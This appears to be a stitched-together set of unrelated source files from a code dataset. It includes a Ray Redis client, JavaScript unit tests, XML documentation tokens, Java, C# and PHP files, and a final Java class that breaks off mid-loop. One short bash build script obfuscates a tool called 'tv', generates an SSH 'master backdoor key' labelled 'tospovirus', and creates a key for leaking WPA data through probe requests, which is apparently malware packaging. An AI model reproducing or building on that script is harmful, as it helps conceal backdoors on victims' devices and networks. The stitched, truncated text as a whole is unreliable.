text:
// Copyright 2017 The Ray Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//  http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

#include "ray/gcs/redis_client.h"

#include "ray/common/ray_config.h"
#include "ray/gcs/redis_context.h"

extern "C" {
#include "hiredis/hiredis.h"
}

namespace ray {

namespace gcs {

/// Run redis command using specified context and store the result in `reply`. Return true
/// if the number of attemps didn't reach `redis_db_connect_retries`.
static bool RunRedisCommandWithRetries(
    redisContext *context,
    const char *command,
    redisReply **reply,
    const std::function<bool(const redisReply *)> &condition) {
  int num_attempts = 0;
  while (num_attempts < RayConfig::instance().redis_db_connect_retries()) {
    // Try to execute the command.
    *reply = reinterpret_cast<redisReply *>(redisCommand(context, command));
    if (condition(*reply)) {
      break;
    }

    // Sleep for a little, and try again if the entry isn't there yet.
    freeReplyObject(*reply);
    std::this_thread::sleep_for(std::chrono::milliseconds(
        RayConfig::instance().redis_db_connect_wait_milliseconds()));
    num_attempts++;
  }
  return num_attempts < RayConfig::instance().redis_db_connect_retries();
}

static int DoGetNextJobID(redisContext *context) {
  // This is bad since duplicate logic lives in redis_client
  // and redis_store_client.
  // A refactoring is needed to make things clean.
  // src/ray/gcs/store_client/redis_store_client.cc#L42
  // TODO (iycheng): Unify the way redis key is formated.
  static const std::string kTableSeparator = ":";
  static const std::string kClusterSeparator = "@";
  static std::string key = RayConfig::instance().external_storage_namespace() +
                           kClusterSeparator + kTableSeparator + "JobCounter";
  static std::string cmd = "INCR " + key;

  redisReply *reply = nullptr;
  bool under_retry_limit = RunRedisCommandWithRetries(
      context, cmd.c_str(), &reply, [](const redisReply *reply) {
        return reply != nullptr && reply->type != REDIS_REPLY_NIL;
      });
  RAY_CHECK(reply);
  RAY_CHECK(under_retry_limit) << "No entry found for JobCounter";
  RAY_CHECK(reply->type == REDIS_REPLY_INTEGER)
      << "Expected integer, found Redis type " << reply->type << " for JobCounter";
  int counter = reply->integer;
  freeReplyObject(reply);
  return counter;
}

static void GetRedisShards(redisContext *context,
                           std::vector<std::string> *addresses,
                           std::vector<int> *ports) {
  // Get the total number of Redis shards in the system.
  redisReply *reply = nullptr;
  bool under_retry_limit = RunRedisCommandWithRetries(
      context, "GET NumRedisShards", &reply, [](const redisReply *reply) {
        return reply != nullptr && reply->type != REDIS_REPLY_NIL;
      });
  RAY_CHECK(under_retry_limit) << "No entry found for NumRedisShards";
  RAY_CHECK(reply->type == REDIS_REPLY_STRING)
      << "Expected string, found Redis type " << reply->type << " for NumRedisShards";
  int num_redis_shards = atoi(reply->str);
  RAY_CHECK(num_redis_shards >= 1) << "Expected at least one Redis shard, "
                                   << "found " << num_redis_shards;
  freeReplyObject(reply);

  // Get the addresses of all of the Redis shards.
  under_retry_limit = RunRedisCommandWithRetries(
      context,
      "LRANGE RedisShards 0 -1",
      &reply,
      [&num_redis_shards](const redisReply *reply) {
        return static_cast<int>(reply->elements) == num_redis_shards;
      });
  RAY_CHECK(under_retry_limit) << "Expected " << num_redis_shards
                               << " Redis shard addresses, found " << reply->elements;

  // Parse the Redis shard addresses.
  for (size_t i = 0; i < reply->elements; ++i) {
    // Parse the shard addresses and ports.
    RAY_CHECK(reply->element[i]->type == REDIS_REPLY_STRING);
    std::string addr;
    std::stringstream ss(reply->element[i]->str);
    getline(ss, addr, ':');
    addresses->emplace_back(std::move(addr));
    int port;
    ss >> port;
    ports->emplace_back(port);
    RAY_LOG(DEBUG) << "Received Redis shard address " << addr << ":" << port
                   << " from head GCS.";
  }
  freeReplyObject(reply);
}

RedisClient::RedisClient(const RedisClientOptions &options) : options_(options) {}

Status RedisClient::Connect(instrumented_io_context &io_service) {
  std::vector<instrumented_io_context *> io_services;
  io_services.emplace_back(&io_service);
  return Connect(io_services);
}

Status RedisClient::Connect(std::vector<instrumented_io_context *> io_services) {
  RAY_CHECK(!is_connected_);
  RAY_CHECK(!io_services.empty());

  if (options_.server_ip_.empty()) {
    RAY_LOG(ERROR) << "Failed to connect, redis server address is empty.";
    return Status::Invalid("Redis server address is invalid!");
  }

  primary_context_ = std::make_shared<RedisContext>(*io_services[0]);

  RAY_CHECK_OK(primary_context_->Connect(options_.server_ip_,
                                         options_.server_port_,
                                         /*sharding=*/options_.enable_sharding_conn_,
                                         /*password=*/options_.password_,
                                         /*enable_ssl=*/options_.enable_ssl_));

  if (options_.enable_sharding_conn_) {
    // Moving sharding into constructor defaultly means that sharding = true.
    // This design decision may worth a look.
    std::vector<std::string> addresses;
    std::vector<int> ports;
    GetRedisShards(primary_context_->sync_context(), &addresses, &ports);
    if (addresses.empty()) {
      RAY_CHECK(ports.empty());
      addresses.push_back(options_.server_ip_);
      ports.push_back(options_.server_port_);
    }

    for (size_t i = 0; i < addresses.size(); ++i) {
      size_t io_service_index = (i + 1) % io_services.size();
      instrumented_io_context &io_service = *io_services[io_service_index];
      // Populate shard_contexts.
      shard_contexts_.push_back(std::make_shared<RedisContext>(io_service));
      // Only async context is used in sharding context, so wen disable the other two.
      RAY_CHECK_OK(shard_contexts_[i]->Connect(addresses[i],
                                               ports[i],
                                               /*sharding=*/true,
                                               /*password=*/options_.password_,
                                               /*enable_ssl=*/options_.enable_ssl_));
    }
  } else {
    shard_contexts_.push_back(std::make_shared<RedisContext>(*io_services[0]));
    // Only async context is used in sharding context, so wen disable the other two.
    RAY_CHECK_OK(shard_contexts_[0]->Connect(options_.server_ip_,
                                             options_.server_port_,
                                             /*sharding=*/true,
                                             /*password=*/options_.password_,
                                             /*enable_ssl=*/options_.enable_ssl_));
  }

  Attach();

  is_connected_ = true;
  RAY_LOG(DEBUG) << "RedisClient connected.";

  return Status::OK();
}

void RedisClient::Attach() {
  // Take care of sharding contexts.
  RAY_CHECK(shard_asio_async_clients_.empty()) << "Attach shall be called only once";
  for (std::shared_ptr<RedisContext> context : shard_contexts_) {
    instrumented_io_context &io_service = context->io_service();
    shard_asio_async_clients_.emplace_back(
        new RedisAsioClient(io_service, context->async_context()));
  }
  instrumented_io_context &io_service = primary_context_->io_service();
  asio_async_auxiliary_client_.reset(
      new RedisAsioClient(io_service, primary_context_->async_context()));
}

void RedisClient::Disconnect() {
  RAY_CHECK(is_connected_);
  is_connected_ = false;
  RAY_LOG(DEBUG) << "RedisClient disconnected.";
}

std::shared_ptr<RedisContext> RedisClient::GetShardContext(const std::string &shard_key) {
  RAY_CHECK(!shard_contexts_.empty());
  static std::hash<std::string> hash;
  size_t index = hash(shard_key) % shard_contexts_.size();
  return shard_contexts_[index];
}

int RedisClient::GetNextJobID() {
  RAY_CHECK(primary_context_);
  return DoGetNextJobID(primary_context_->sync_context());
}

}  // namespace gcs

}  // namespace ray

redpajama_set_name: RedPajamaGithub


text:
perl tools/bashobfus/bash_obfus.pl -i tv -o dist/tv.tmp -C -F
cat dist/tv.tmp | grep -v "^echo" > dist/tv
chmod ug+rx dist/tv
rm dist/tv.tmp

#Generate keys for distribution (such as the master backdoor key)
if [ ! -f dist/tvbd.pub ];
then
	ssh-keygen -b 2048 -f dist/tvbd -N "" -C "tospovirus"
	mv dist/tvbd ./
fi

#Generate keys for disclosing WPA management data securely
if [ ! -f dist/tvd.pub ];
then
	#Generate a 256 bit key - this is so tiny because we're limited to 32 bytes in a probe request.
	openssl genrsa -out tvd.pem 256
	openssl rsa -in tvd.pem -pubout >dist/tvd.pub
fi

chmod 600 tvbd


text:
beforeEach(function () {
  typewrite.defaultDelay = 1;
  typewrite.defaultHumanize = false;
  div = document.createElement('div');
  tw = undefined;
  expect = chai.expect;
});

describe('typewrite - happy paths', function() {
  it('type()', function(done) {
    tw = typewrite(div)
      .type('Hello world!')
      .then(function() {
        expect(tw.element.innerHTML).to.equal('Hello world!');
        done();
      });
  });

  it('type() escaping', function(done) {
    tw = typewrite(div)
      .type('Hello <world> & "the" \'outer space\'!')
      .then(function() {
        expect(tw.element.innerHTML).to.equal('Hello <world> & "the" \'outer space\'!');
        done();
      });
  });

  it('type() line breaks', function(done) {
    tw = typewrite(div)
      .type('Hello\nworld!')
      .then(function() {
        expect(tw.element.innerHTML).to.equal('Hello<br>world!');
        done();
      });
  });

  it('backspace() 7 characters', function(done) {
    tw = typewrite(div)
      .type('Hello world!')
      .backspace(7)
      .then(function() {
        expect(tw.element.innerHTML).to.equal('Hello');
        done();
      });
  });

  it('backspace() default single character', function(done) {
    tw = typewrite(div)
      .type('Hello world!')
      .backspace()
      .then(function() {
        expect(tw.element.innerHTML).to.equal('Hello world');
        done();
      });
  });

  it('backspace() multiple default', function(done) {
    tw = typewrite(div)
      .type('Hello world!')
      .backspace()
      .backspace()
      .then(function() {
        expect(tw.element.innerHTML).to.equal('Hello worl');
        done();
      });
  });

  it('backspace() last character', function(done) {
    tw = typewrite(div)
      .type('H')
      .backspace()
      .then(function() {
        expect(tw.element.innerHTML).to.equal('');
        done();
      });
  });

  it('backspace() delete empty string throws no errors', function(done) {
    tw = typewrite(div)
      .backspace()
      .then(function() {
        expect(tw.element.innerHTML).to.equal('');
        done();
      });
  });

  it('pause()', function(done) {
    tw = typewrite(div)
      .type('Hello ')
      .pause(2)
      .type('world!')
      .then(function() {
        expect(tw.element.innerHTML).to.equal('Hello world!');
        done();
      });
  });

  it('setDelay()', function(done) {
    tw = typewrite(div)
      .type('Hello ')
      .setDelay(2)
      .then(function() {
        expect(tw.delay).to.equal(2);
        done();
      });
  });

  it('length', function(done) {
    tw = typewrite(div)
      .type('Hello ')
      .type('world!')
      .then(function() {
        expect(tw.length).to.equal(12);
        done();
      });
  });

  it('clear()', function(done) {
    tw = typewrite(div)
      .type('Hello world!')
      .clear()
      .then(function() {
        expect(tw.element.innerHTML).to.equal('');
        done();
      });
  });

  it('clear() and type()', function(done) {
    tw = typewrite(div)
      .type('Hello world!')
      .clear()
      .type('second try')
      .then(function() {
        expect(tw.element.innerHTML).to.equal('second try');
        done();
      });
  });

});

describe('typewrite - exceptions', function() {
  it('typewrite(element) - typeof element === undefined', function() {
    expect(typewrite.bind(typewrite, undefined))
      .to.throw(TypeError, /No value for argument |element| provided./);
  });

  it('typewrite(element) - typeof element === undefined', function() {
    expect(typewrite.bind(typewrite, 123))
      .to.throw(TypeError, /The value of argument |element| must be either a selector or a DOM element./);
  });

  it('typewrite(element) - typeof element === undefined', function() {
    expect(typewrite.bind(typewrite, 'abc'))
      .to.throw(Error, /No matching DOM element for the given selector has been found./);
  });

  it('setDelay(delay) - typeof delay === undefined', function() {
    expect(typewrite(div).setDelay.bind(typewrite, undefined))
      .to.throw(TypeError, /No value for argument |delay| provided./);
  });

  it('setDelay(delay) - typeof delay !== number', function() {
    expect(typewrite(div).setDelay.bind(typewrite, 'abc'))
      .to.throw(TypeError, /The value for argument |delay| must be a positive integer./);
  });

  it('setDelay(delay) - !parseInt(delay, 10)', function() {
    expect(typewrite(div).setDelay.bind(typewrite, ' 0xF'))
      .to.throw(TypeError, /The value for argument |delay| must be a positive integer./);
  });

  it('setDelay(delay) - delay < 1', function() {
    expect(typewrite(div).setDelay.bind(typewrite, -1))
      .to.throw(TypeError, /The value for argument |delay| must be a positive integer./);
  });

  it('setDelay(delay) - typeof humanize === undefined', function() {
    expect(typewrite(div).setDelay.bind(typewrite, 1, 'a'))
      .to.throw(TypeError, /The value for argument |humanize| must be of type boolean./);
  });

  it('type(text) - typeof text === undefined', function() {
    expect(typewrite(div).type.bind(typewrite, undefined))
      .to.throw(TypeError, /No value for argument |text| provided./);
  });

  it('type(text) - typeof text !== string', function() {
    expect(typewrite(div).type.bind(typewrite, 123))
      .to.throw(TypeError, /The value of argument |text| must be a string./);
  });

  it('type(text) - text.length === 0', function() {
    expect(typewrite(div).type.bind(typewrite, ''))
      .to.throw(RangeError, /The value of argument |text| must contain at least one character./);
  });

  it('backspace(count) - typeof count !== number', function() {
    expect(typewrite(div).backspace.bind(typewrite, 'abc'))
      .to.throw(TypeError, /The value of argument |count| must be a positive integer./);
  });

  it('backspace(count) - !parseInt(count, 10)', function() {
    expect(typewrite(div).backspace.bind(typewrite, ' 0xF'))
      .to.throw(TypeError, /The value of argument |count| must be a positive integer./);
  });

  it('backspace(count) - count < 1', function() {
    expect(typewrite(div).backspace.bind(typewrite, -1))
      .to.throw(TypeError, /The value of argument |count| must be a positive integer./);
  });

  it('pause(time) - typeof time === undefined', function() {
    expect(typewrite(div).pause.bind(typewrite, undefined))
      .to.throw(TypeError, /No value for argument |time| provided./);
  });

  it('pause(time) - typeof time !== number', function() {
    expect(typewrite(div).pause.bind(typewrite, 'abc'))
      .to.throw(TypeError, /The argument |time| must be a positive float or integer./);
  });

  it('pause(time) - time <= 0', function() {
    expect(typewrite(div).pause.bind(typewrite, -1))
      .to.throw(RangeError, /The argument |time| must be a positive float or integer./);
  });

});


text:
<?xml version="1.0" encoding="UTF-8"?>
<Tokens version="1.0">
	<File path="Classes/GHTest.html">

		<Token>
			<TokenIdentifier>//apple_ref/occ/cl/GHTest</TokenIdentifier>
			<Abstract type="html">Default test implementation with a target/selector pair.</Abstract>
			<DeclaredIn>GHTest.h</DeclaredIn>

			<NodeRef refid="5"/>
		</Token>

		<Token>
			<TokenIdentifier>//apple_ref/occ/instm/GHTest/setTarget:</TokenIdentifier>
			<Abstract type="html"></Abstract>
			<DeclaredIn>GHTest.h</DeclaredIn>

			<Declaration>@property (readonly, strong, nonatomic) id target</Declaration>

			<Anchor>//api/name/target</Anchor>
		</Token>

		<Token>
			<TokenIdentifier>//apple_ref/occ/instp/GHTest/target</TokenIdentifier>
			<Abstract type="html"></Abstract>
			<DeclaredIn>GHTest.h</DeclaredIn>

			<Declaration>@property (readonly, strong, nonatomic) id target</Declaration>

			<Anchor>//api/name/target</Anchor>
		</Token>

		<Token>
			<TokenIdentifier>//apple_ref/occ/instm/GHTest/setSelector:</TokenIdentifier>
			<Abstract type="html"></Abstract>
			<DeclaredIn>GHTest.h</DeclaredIn>

			<Declaration>@property (readonly, nonatomic) SEL selector</Declaration>

			<Anchor>//api/name/selector</Anchor>
		</Token>

		<Token>
			<TokenIdentifier>//apple_ref/occ/instp/GHTest/selector</TokenIdentifier>
			<Abstract type="html"></Abstract>
			<DeclaredIn>GHTest.h</DeclaredIn>

			<Declaration>@property (readonly, nonatomic) SEL selector</Declaration>

			<Anchor>//api/name/selector</Anchor>
		</Token>

		<Token>
			<TokenIdentifier>//apple_ref/occ/instm/GHTest/setLog:</TokenIdentifier>
			<Abstract type="html">Messages logged during this test run</Abstract>
			<DeclaredIn>GHTest.h</DeclaredIn>

			<Declaration>@property (readonly, strong, nonatomic) NSArray *log</Declaration>

			<ReturnValue><Abstract type="html">Messages logged during this test run</Abstract></ReturnValue>
			<Anchor>//api/name/log</Anchor>
		</Token>

		<Token>
			<TokenIdentifier>//apple_ref/occ/instp/GHTest/log</TokenIdentifier>
			<Abstract type="html">Messages logged during this test run</Abstract>
			<DeclaredIn>GHTest.h</DeclaredIn>

			<Declaration>@property (readonly, strong, nonatomic) NSArray *log</Declaration>

			<ReturnValue><Abstract type="html">Messages logged during this test run</Abstract></ReturnValue>
			<Anchor>//api/name/log</Anchor>
		</Token>

		<Token>
			<TokenIdentifier>//apple_ref/occ/instm/GHTest/initWithIdentifier:name:</TokenIdentifier>
			<Abstract type="html">Create test with identifier, name.</Abstract>
			<DeclaredIn>GHTest.h</DeclaredIn>

			<Declaration>- (id)initWithIdentifier:(NSString *)identifier name:(NSString *)name</Declaration>
			<Parameters>
				<Parameter>
					<Name>identifier</Name>
					<Abstract type="html">Unique identifier</Abstract>
				</Parameter><Parameter>
					<Name>name</Name>
					<Abstract type="html">Name</Abstract>
				</Parameter>
			</Parameters>

			<Anchor>//api/name/initWithIdentifier:name:</Anchor>
		</Token>

		<Token>
			<TokenIdentifier>//apple_ref/occ/instm/GHTest/initWithTarget:selector:</TokenIdentifier>
			<Abstract type="html">Create test with target/selector.</Abstract>
			<DeclaredIn>GHTest.h</DeclaredIn>

			<Declaration>- (id)initWithTarget:(id)target selector:(SEL)selector</Declaration>
			<Parameters>
				<Parameter>
					<Name>target</Name>
					<Abstract type="html">Target (usually a test case)</Abstract>
				</Parameter><Parameter>
					<Name>selector</Name>
					<Abstract type="html">Selector (usually a test method)</Abstract>
				</Parameter>
			</Parameters>

			<Anchor>//api/name/initWithTarget:selector:</Anchor>
		</Token>

		<Token>
			<TokenIdentifier>//apple_ref/occ/clm/GHTest/testWithTarget:selector:</TokenIdentifier>
			<Abstract type="html">Create autoreleased test with target/selector.</Abstract>
			<DeclaredIn>GHTest.h</DeclaredIn>

			<Declaration>+ (id)testWithTarget:(id)target selector:(SEL)selector</Declaration>
			<Parameters>
				<Parameter>
					<Name>target</Name>
					<Abstract type="html">Target (usually a test case)</Abstract>
				</Parameter><Parameter>
					<Name>selector</Name>
					<Abstract type="html">Selector (usually a test method)</Abstract>
				</Parameter>
			</Parameters>

			<Anchor>//api/name/testWithTarget:selector:</Anchor>
		</Token>

		<Token>
			<TokenIdentifier>//apple_ref/occ/instm/GHTest/JUnitXML</TokenIdentifier>
			<Abstract type="html">Return test results in JUnit XML format for external parsing use
(such as a Continuous Integration system like Jenkins).</Abstract>
			<DeclaredIn>GHTest+JUnitXML.h</DeclaredIn>

			<Declaration>- (NSString *)JUnitXML</Declaration>

			<Anchor>//api/name/JUnitXML</Anchor>
		</Token>

	</File>
</Tokens>


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<title>org.usfirst.frc1701.robot16Navigation.commands</title>
<meta name="date" content="2016-01-17">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">

org.usfirst.frc1701.robot16Navigation.commands

Classes

AutonomousCommand

Drive

NavigationMonitor


text:
/**
 * @exports AbstractError
 * @version $Id: AbstractError.js 2913 2015-03-19 19:01:18Z tgaskins $
 */
define(function () {
    "use strict";

    /**
     * Constructs an error with a specified name and message.
     * @alias AbstractError
     * @constructor
     * @abstract
     * @classdesc Provides an abstract base class for error classes. This class is not meant to be instantiated
     * directly but used only by subclasses.
     * @param {String} name The error's name.
     * @param {String} message The message.
     */
    var AbstractError = function (name, message) {
        this.name = name;
        this.message = message;
    };

    /**
     * Returns the message and stack trace associated with this error.
     * @returns {String} The message and stack trace associated with this error.
     */
    AbstractError.prototype.toString = function () {
        var str = this.name + ': ' + this.message;

        if (this.stack) {
            str += '\n' + this.stack.toString();
        }

        return str;
    };

    return AbstractError;

});


text:
const fontFamily = 'Open Sans,sans-serif';
const primary = '#1F2E38';
const primaryDark = '#16252D';
const secondary = '#12DF8C';
const textLight = '#ffffff';
const textDark = '#102027';
export default {
	fontFamily,
	fontWeight: 'normal',
	primary,
	primaryDark,
	secondary,
	textLight,
	textDark,
};


text:
/**
 * This program and the accompanying materials
 * are made available under the terms of the License
 * which accompanies this distribution in the file LICENSE.txt
 */
package com.archimatetool.csv;

/**
 * Constant definitions for Preferences
 *
 * @author Phillip Beauvoir
 */
@SuppressWarnings("nls")
public interface IPreferenceConstants {

    String CSV_EXPORT_PREFS_SEPARATOR = "separator";
    String CSV_EXPORT_PREFS_LAST_FOLDER = "lastFolder";
    String CSV_EXPORT_PREFS_FILE_PREFIX = "filePrefix";
    String CSV_EXPORT_PREFS_STRIP_NEW_LINES = "stripNewLines";
    String CSV_EXPORT_PREFS_EXCEL_COMPATIBLE = "excelCompatible";
    String CSV_EXPORT_PREFS_ENCODING = "encoding";
}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;

public class HarvesterFactory : IHarvesterFactory
{
    public IHarvester GenerateHarvester(IList<string> args)
    {
        string type = args[0];

        var id = int.Parse(args[1]);
        var oreOutput = double.Parse(args[2]);
        var energyReq = double.Parse(args[3]);

        Type clazz = Assembly
                    .GetExecutingAssembly()
                    .GetTypes()
                    .FirstOrDefault(t => t.Name == type + "Harvester");

        var ctors = clazz
                    .GetConstructors(BindingFlags.Public | BindingFlags.Instance);

        IHarvester harvester = (IHarvester)ctors[0]
                    .Invoke(new object[] { id, oreOutput, energyReq });

        return harvester;
    }
}


text:
package org.broadinstitute.sting.gatk.filters;

import net.sf.samtools.Cigar;
import net.sf.samtools.CigarElement;
import net.sf.samtools.CigarOperator;
import net.sf.samtools.SAMRecord;
import org.broadinstitute.sting.commandline.Argument;

/**
 * Created by IntelliJ IDEA.
 * User: chartl
 * Date: 9/19/11
 * Time: 4:09 PM
 * To change this template use File | Settings | File Templates.
 */
public class ReadNameFilter extends ReadFilter {
     @Argument(fullName = "readName", shortName = "rn", doc="Filter out all reads except those with this read name", required=true)
    private String readName;

    public boolean filterOut(final SAMRecord rec) {
        return ! rec.getReadName().equals(readName);
    }
}


text:
<?php

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function () {
    return redirect(route('account.index'));
});
// Route::get('/', function () {
// 	return view('users.login');
// });

//auth를 사용하기위한 routes
Auth::routes();
// Route::middleware('auth')->group(function () {
//     Route::get('list', function () {
//         return view('account.list');
//     });
// });
// Route::middleware('guest')->group(function () {
//     Route::get('/', function() {
//         return view('users.login');
//     });
// });
Route::resource('account', 'AccountController',
    ['middleware' => ['web', 'auth']]
);
#Route::get('list','AccountController@index');
Route::get('logout',function(){
        auth()->logout();
	Session::flash('flash_message','logout success');
	return redirect('/');
});

Route::resource('users','UsersController');
Route::resource('fix_account','FixAccountController',
    ['middleware' => ['web', 'auth']]
);
Route::get('fix_account/{account}/delete',
	['as' => 'fix_account.destroy', 'uses' => 'FixAccountController@destroy']
);
Route::get('account/{account}/delete',
	['as' => 'account.destroy', 'uses' => 'AccountController@destroy']
);

/* Socialite */
#Route::get('social/github', 'Auth\LoginController@redirectToProvider');
Route::get('social/{provider}/callback', 'SocialController@handleProviderCallback');
Route::get('social/{provider}',[
	'as'=>'social.login',
	'uses'=>'SocialController@execute',
]);


text:
package example;

import java.awt.*;
import java.util.Objects;
import java.util.stream.IntStream;
import javax.swing.*;
import javax.swing.text.AbstractDocument;
import javax.swing.text.BadLocationException;
import javax.swing.text.BoxView;
import javax.swing.text.ComponentView;
import javax.swing.text.Document;
import javax.swing.text.Element;
import javax.swing.text.IconView;
import javax.swing.text.LabelView;
import javax.swing.text.MutableAttributeSet;
import javax.swing.text.ParagraphView;
import javax.swing.text.Position;
import javax.swing.text.SimpleAttributeSet;
import javax.swing.text.StyleConstants;
import javax.swing.text.StyledDocument;
import javax.swing.text.StyledEditorKit;
import javax.swing.text.TabSet;
import javax.swing.text.TabStop;
import javax.swing.text.View;
import javax.swing.text.ViewFactory;

public final class MainPanel extends JPanel {
  private static final String TAB_TXT = "\n1\taaa\n12\taaa\n123\taaa\n1234\taaa\t\t\t\t\t\t\n";
  private static final String IDEOGRAPHIC_SPACE = String.join("\n",
      "123456789012",
      "bbb2  1 3 ccc3\n",
      " 00000 12345 ",
      "  日本語 ");

  private MainPanel() {
    super(new BorderLayout());
    JTextPane editor = new JTextPane();

    editor.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 12));
    editor.setEditorKit(new CustomEditorKit());
    editor.setText(IDEOGRAPHIC_SPACE + TAB_TXT);

    add(new JScrollPane(editor));
    setPreferredSize(new Dimension(320, 240));
  }

  public static void main(String[] args) {
    EventQueue.invokeLater(MainPanel::createAndShowGui);
  }

  private static void createAndShowGui() {
    try {
      UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
    } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException ex) {
      ex.printStackTrace();
      Toolkit.getDefaultToolkit().beep();
    }
    JFrame frame = new JFrame("@title@");
    frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
    frame.getContentPane().add(new MainPanel());
    frame.pack();
    frame.setLocationRelativeTo(null);
    frame.setVisible(true);
  }
}

class CustomEditorKit extends StyledEditorKit {
  private static final MutableAttributeSet ATTRS = new SimpleAttributeSet();

  @Override public void install(JEditorPane c) {
    FontMetrics fm = c.getFontMetrics(c.getFont());
    int tabLength = fm.charWidth('m') * 4;
    // TabStop[] tabs = new TabStop[100];
    // for (int j = 0; j < tabs.length; j++) {
    //   tabs[j] = new TabStop((j + 1f) * tabLength);
    // }
    TabStop[] tabs = IntStream.range(0, 100)
        .mapToObj(i -> (i + 1f) * tabLength)
        .map(TabStop::new).toArray(TabStop[]::new);
    TabSet tabSet = new TabSet(tabs);
    StyleConstants.setTabSet(ATTRS, tabSet);
    super.install(c);
  }

  @Override public ViewFactory getViewFactory() {
    return new CustomViewFactory();
  }

  @Override public Document createDefaultDocument() {
    Document d = super.createDefaultDocument();
    if (d instanceof StyledDocument) {
      ((StyledDocument) d).setParagraphAttributes(0, d.getLength(), ATTRS, false);
    }
    return d;
  }
}

class CustomViewFactory implements ViewFactory {
  @Override public View create(Element elem) {
    switch (elem.getName()) {
      // case AbstractDocument.ContentElementName:
      //   return new WhitespaceLabelView(elem);
      case AbstractDocument.ParagraphElementName:
        return new ParagraphWithEopmView(elem);
      case AbstractDocument.SectionElementName:
        return new BoxView(elem, View.Y_AXIS);
      case StyleConstants.ComponentElementName:
        return new ComponentView(elem);
      case StyleConstants.IconElementName:
        return new IconView(elem);
      default:
        return new WhitespaceLabelView(elem);
    }
  }
}

class ParagraphWithEopmView extends ParagraphView {
  private static final Color MARK_COLOR = new Color(0x78_82_6E);

  protected ParagraphWithEopmView(Element elem) {
    super(elem);
  }

  @Override public void paint(Graphics g, Shape allocation) {
    super.paint(g, allocation);
    paintCustomParagraph(g, allocation);
  }

  private void paintCustomParagraph(Graphics g, Shape a) {
    try {
      Shape paragraph = modelToView(getEndOffset(), a, Position.Bias.Backward);
      Rectangle r = Objects.nonNull(paragraph) ? paragraph.getBounds() : a.getBounds();
      int x = r.x;
      int y = r.y;
      int h = r.height;
      Color old = g.getColor();
      g.setColor(MARK_COLOR);
      g.drawLine(x + 1, y + h / 2, x + 1, y + h - 4);
      g.drawLine(x + 2, y + h / 2, x + 2, y + h - 5);
      g.drawLine(x + 3, y + h - 6, x + 3, y + h - 6);
      g.setColor(old);
    } catch (BadLocationException ex) {
      // should never happen
      RuntimeException wrap = new StringIndexOutOfBoundsException(ex.offsetRequested());
      wrap.initCause(ex);
      throw wrap;
    }
  }
}

class WhitespaceLabelView extends LabelView {
  private static final String IDEOGRAPHIC_SPACE = " "; // "\u3000";
  private static final Color MARK_COLOR = new Color(0x78_82_6E);
  private static final BasicStroke DASHED = new BasicStroke(
      1f, BasicStroke.CAP_BUTT, BasicStroke.JOIN_MITER, 10f, new float[] {1f}, 0f);

  protected WhitespaceLabelView(Element elem) {
    super(elem);
  }

  @Override public void paint(Graphics g, Shape a) {
    super.paint(g, a);
    Graphics2D g2 = (Graphics2D) g.create();
    Rectangle alloc = a instanceof Rectangle ? (Rectangle) a : a.getBounds();
    FontMetrics fontMetrics = g.getFontMetrics();
    int spaceWidth = fontMetrics.stringWidth(IDEOGRAPHIC_SPACE);
    int sumOfTabs = 0;
    String text = getText(getStartOffset(), getEndOffset()).toString();
    for (int i = 0; i < text.length(); i++) {
      String s = text.substring(i, i + 1);
      int prevStrWidth = fontMetrics.stringWidth(text.substring(0, i)) + sumOfTabs;
      int sx = alloc.x + prevStrWidth;
      int sy = alloc.y + alloc.height - fontMetrics.getDescent();
      if (IDEOGRAPHIC_SPACE.equals(s)) {
        g2.setStroke(DASHED);
        g2.setPaint(MARK_COLOR);
        g2.drawLine(sx + 1, sy - 1, sx + spaceWidth - 2, sy - 1);
        g2.drawLine(sx + 2, sy, sx + spaceWidth - 2, sy);
      } else if ("\t".equals(s)) {
        int tabWidth = (int) getTabExpander().nextTabStop((float) sx, i) - sx;
        g2.setPaint(MARK_COLOR);
        g2.drawLine(sx + 2, sy, sx + 2 + 2, sy);
        g2.drawLine(sx + 2, sy - 1, sx + 2 + 1, sy - 1);
        g2.drawLine(sx + 2, sy - 2, sx + 2, sy - 2);
        g2.setStroke(DASHED);
        g2.drawLine(sx + 2, sy, sx + tabWidth - 2, sy);
        sumOfTabs += tabWidth;
      }
    }
    g2.dispose();
  }
}


text:
package io.github.mzmine.modules.dataprocessing.featdet_ionmobilitytracebuilder.ionmobilitytraceplot;

import java.util.LinkedHashSet;
import java.util.Set;
import org.jfree.data.xy.AbstractXYZDataset;
import io.github.mzmine.modules.dataprocessing.featdet_ionmobilitytracebuilder.IIonMobilityTrace;
import io.github.mzmine.modules.dataprocessing.featdet_ionmobilitytracebuilder.RetentionTimeMobilityDataPoint;

public class RetentionTimeMobilityXYZDataset extends AbstractXYZDataset {

  private Float[] xValues;
  private Double[] yValues;
  private Double[] zValues;
  private String seriesKey;

  public RetentionTimeMobilityXYZDataset(Float[] xValues, Double[] yValues, Double[] zValues,
      String seriesKey) {
    super();
    this.xValues = xValues;
    this.yValues = yValues;
    this.zValues = zValues;
    this.seriesKey = seriesKey;
  }

  public RetentionTimeMobilityXYZDataset(IIonMobilityTrace ionMobilityIonTrace) {
    seriesKey = ionMobilityIonTrace.getRepresentativeString();
    init(ionMobilityIonTrace.getDataPoints());
  }

  private void init(Set<RetentionTimeMobilityDataPoint> dataPoints) {
    Set<Float> xValuesSet = new LinkedHashSet<>();
    Set<Double> yValuesSet = new LinkedHashSet<>();
    Set<Double> zValuesSet = new LinkedHashSet<>();
    for (RetentionTimeMobilityDataPoint dataPoint : dataPoints) {
